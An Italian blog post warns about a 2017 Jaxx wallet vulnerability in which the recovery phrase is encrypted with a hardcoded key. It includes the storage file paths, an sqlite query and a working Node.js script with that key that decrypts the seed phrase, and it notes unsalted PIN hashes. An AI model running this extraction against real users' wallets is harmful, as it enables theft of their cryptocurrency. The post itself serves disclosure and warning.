Bitcoin, Ethereum, criptovaluta, blockchain sono parole che iniziano a diventare di dominio pubblico, stuzzicando l’interesse di molti.

Iniziamo ad avere in giro un ecosistema composto da diversi asset digitali, ognuno con un suo progetto (più o meno definito). Vuoi per pura speculazione o per interesse verso il lato tecnologico della questione, il grande pubblico inizia ad affacciarsi e collezionare moneta, non conoscendo le regole ed i rischi base, e quindi, non sapendo proteggere il proprio tesoretto.

Dove li metto i miei websoldi?

Jaxx è la scelta di molti. Free, crossplatform, e addirittura permissionless (basta che mi mettono un lucchetto sul sito e mi sento sicuro).

E’ online, gratuito e me lo ha consigliato Zio Ferdinando. Lui nè sa pacchi!

Il mio mantra è “se è online, puoi bucarlo”. Ed è proprio quello che è successo un paio di giorni fa. Gente che ha visto letteralmente scomparire più di 400k per un problema di sicurezza dell’applicazione (ed il numero crescerà NDR).

Un ricercatore è riuscito a estrarre la backup-phrase del wallet in meno di 1h, questo gli ha permesso di creare un portafoglio clone, potendo poi spostare moneta verso altri wallet.

Il problema principale è che Jaxx cripta la mnemonic phrase usando una chiave hardcodata (singola) invece di una fornita dall’utente; questo significa che è possibile decrittare la backup-phrase usando sqlite3 ed un po’ di codice.

In questo momento la vuln è stata testata sull’extension di Chrome v1.2.17 e Linux App v1.2.13


Tools: node.js, sqlite3, sqlitebrowser, crypto-js

Jaxx storage file Linux
Linux/Mac = /Mac$HOME/.config/Jaxx/Local\ Storage/file__0.localstorage
Windows = %appdata%\Roaming\Jaxx\Local Storage

POC

sqlite> select value from ItemTable where key="mnemonic";ofvoUNhkw+zBN+nvxd1XoL/u1Stn1hyXChD9JvCVkNZtrr19mWY595fbiFjjRPNbw5xxNtzAJGUch3V7P5aEpRxmssfuUXuCbo+VrqxBJ5+4=

Appuntarsi il valore restituito. In caso sia più corto è necessario usare sqlitebrowser. Installare crypto-js v3.1.2 (npm install [email protected]) ed eseguire il codice seguente usando node, sostituendo la chiave annotata prima.

// Jaxx recovery phrase extraction by [email protected]
var CryptoJS = require('crypto-js');
var _key = "6Le0DgMTAAAAANokdfEial"; //length=22
var _iv  = "mHGFxENnZLbienLyALoi.e"; //length=22

var mnemonicEncrypted="ofvoUNhkw+zBN+nvxd1XoL/u1Stn1hyXChD9JvCVkNZtrr19mWY595fbiFjjRPNbw5xxNtzAJGUch3V7P5aEpRxmssfuUXuCbo+VrqxBJ5+4=";

var _keyB;
var _ivB;

// js/vault/vault.js
function decryptSimple(encryptedTxt) {
    // not sure why jaxx does  this inside the function
    _keyB = CryptoJS.enc.Base64.parse(_key);
    _ivB = CryptoJS.enc.Base64.parse(_iv);    
    var decrypted = CryptoJS.AES.decrypt(encryptedTxt, _keyB, { iv: _ivB });
    var decryptedText = decrypted.toString(CryptoJS.enc.Utf8);
    return decryptedText;
}

console.log(decryptSimple(mnemonicEncrypted));

Ad oggi la vulnerabilità non è stata fixata e mi immagino che nei prossimi giorni il software verrà targhettizzato da pentest, il mio consiglio è quello di non usare Jaxx ed affidarsi a wallet offline come Ledger o Trezor.

Update 1 (13–06–2017)
Stando ad una dichiarazione su Reddit, il CTO dichiara che Decentral non sembra aver intenzione di fixare nulla, fa parte del loro business model. Meh..

Update 2 (15–06–2017)
C’era da aspettarsi che altri ricercatori mettessero mano al software. Ora si scopre che anche il PIN a 4 cifre è salvato in una stringa sha256 unsalted, la quale può essere facilmente reversata attraverso le rainbow tables.